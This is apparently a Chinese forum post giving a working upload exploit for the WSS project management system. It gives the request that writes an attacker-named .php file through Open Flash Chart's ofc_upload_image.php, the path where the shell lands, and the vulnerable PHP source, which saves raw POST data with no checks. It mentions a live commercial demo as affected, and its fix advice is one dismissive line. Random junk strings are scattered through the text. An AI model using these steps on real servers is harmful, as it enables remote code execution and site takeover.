WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
8 X, @# z3 J" m. y% ? 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
+ m1 ^  N) v" D  ~" N
0 b3 G7 u: N2 A9 \0 h: x; C& RPost任意数据
) E0 w7 A1 g2 d. ]6 s; }保存位置http://localhost/chart/tmp-upload-images/hfy.php
# _0 r0 R4 k" J8 y. K  J

0 c2 A, x: C$ b2 z3 j最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
6 a6 d3 s* \4 ]( B9 ^* @  n
<?php

( F1 R: s6 ~  _; O3 A5 x4 Y( N//
: k4 }2 N; ~5 C- S0 u// In Open Flash Chart -> save_image debug mode, you
, n1 g7 j' ]# S9 v// will see the 'echo' text in a new window.
8 V# D# T0 y7 z& X: P; l" e( N! V+ K//
: d8 K( u1 [5 h* r4 b
/*
( Y1 g: l! D; A
2 }1 G2 Q5 V4 N, D. eprint_r( $_GET );
" V+ X  N' S3 ]- }0 ?8 z% Sprint_r( $_POST );
$ t7 k" V4 m& Hprint_r( $_FILES );

print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

; g( C8 \: F  g& U) Z; K# n, _*/
6 J+ m3 b4 G) _& r6 n9 s: O8 t// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
# Y# `# z' Y; ^5 n, }
* K( W" s+ \4 o1 G9 p& A$ k// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
0 y5 X; s4 G: L$ K- q, b1 D0 t! |$ T
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
. z3 \+ h$ o  |& e4 F/ i2 b9 P// echo $HTTP_RAW_POST_DATA;

1 o( y: _$ w: b" S& N4 Q//
8 u% X+ A; I5 X) l6 T/ F) |// POST data is usually string data, but we are passing a RAW .png
9 T6 ~, c# i; M// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
/ B0 y' h% E* q
9 y& }' }8 ]- p9 g) z' U$jfh = fopen($destination, 'w') or die("can't open file");
8 o, a3 S' h( z: _! Tfwrite($jfh, $HTTP_RAW_POST_DATA);
0 D+ O" [- t( x$ m- i: y7 [  R7 [fclose($jfh);

& l% d4 y/ h2 S5 [4 j; R//
, P" |9 y$ Z5 k! U" o4 W9 I2 J: N// LOOK:
' u+ w4 N, C- O$ M7 [//
5 t1 k  Z/ D# S5 ]" n* s5 @/ _' bexit();
9 e  v  R7 q! _: t5 r//
// PHP5:
//


// default path for the image to be stored //
+ F+ r! o9 H. O; n$default_path = 'tmp-upload-images/';

3 i1 B& t9 |& _  fif (!file_exists($default_path)) mkdir($default_path, 0777, true);

9 @( y& I9 I( ^& [. t) \// full path to the saved image including filename //
4 D: \2 X7 }4 A( z9 P% e$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
3 T! i' r+ t  A% U$ V2 `. x
// move the image into the specified directory //
* ]1 {$ r/ N0 @* c+ uif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
5 y' x2 O$ w7 B* u8 k: l0 K} else {
8 P5 r2 ^/ @, }* a) {    echo "FILE UPLOAD FAILED";
; [" }$ a4 b# ]- o3 B; G; s4 r1 d}

  s  r. B3 K2 _5 a& J  e
?>
! P3 |. g9 O6 p' Y1 }


3 x! ^% D* {# b; }

  U$ u1 F" o/ v* _5 [& ]
/ r$ [2 z, h5 {/ S! \+ t修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞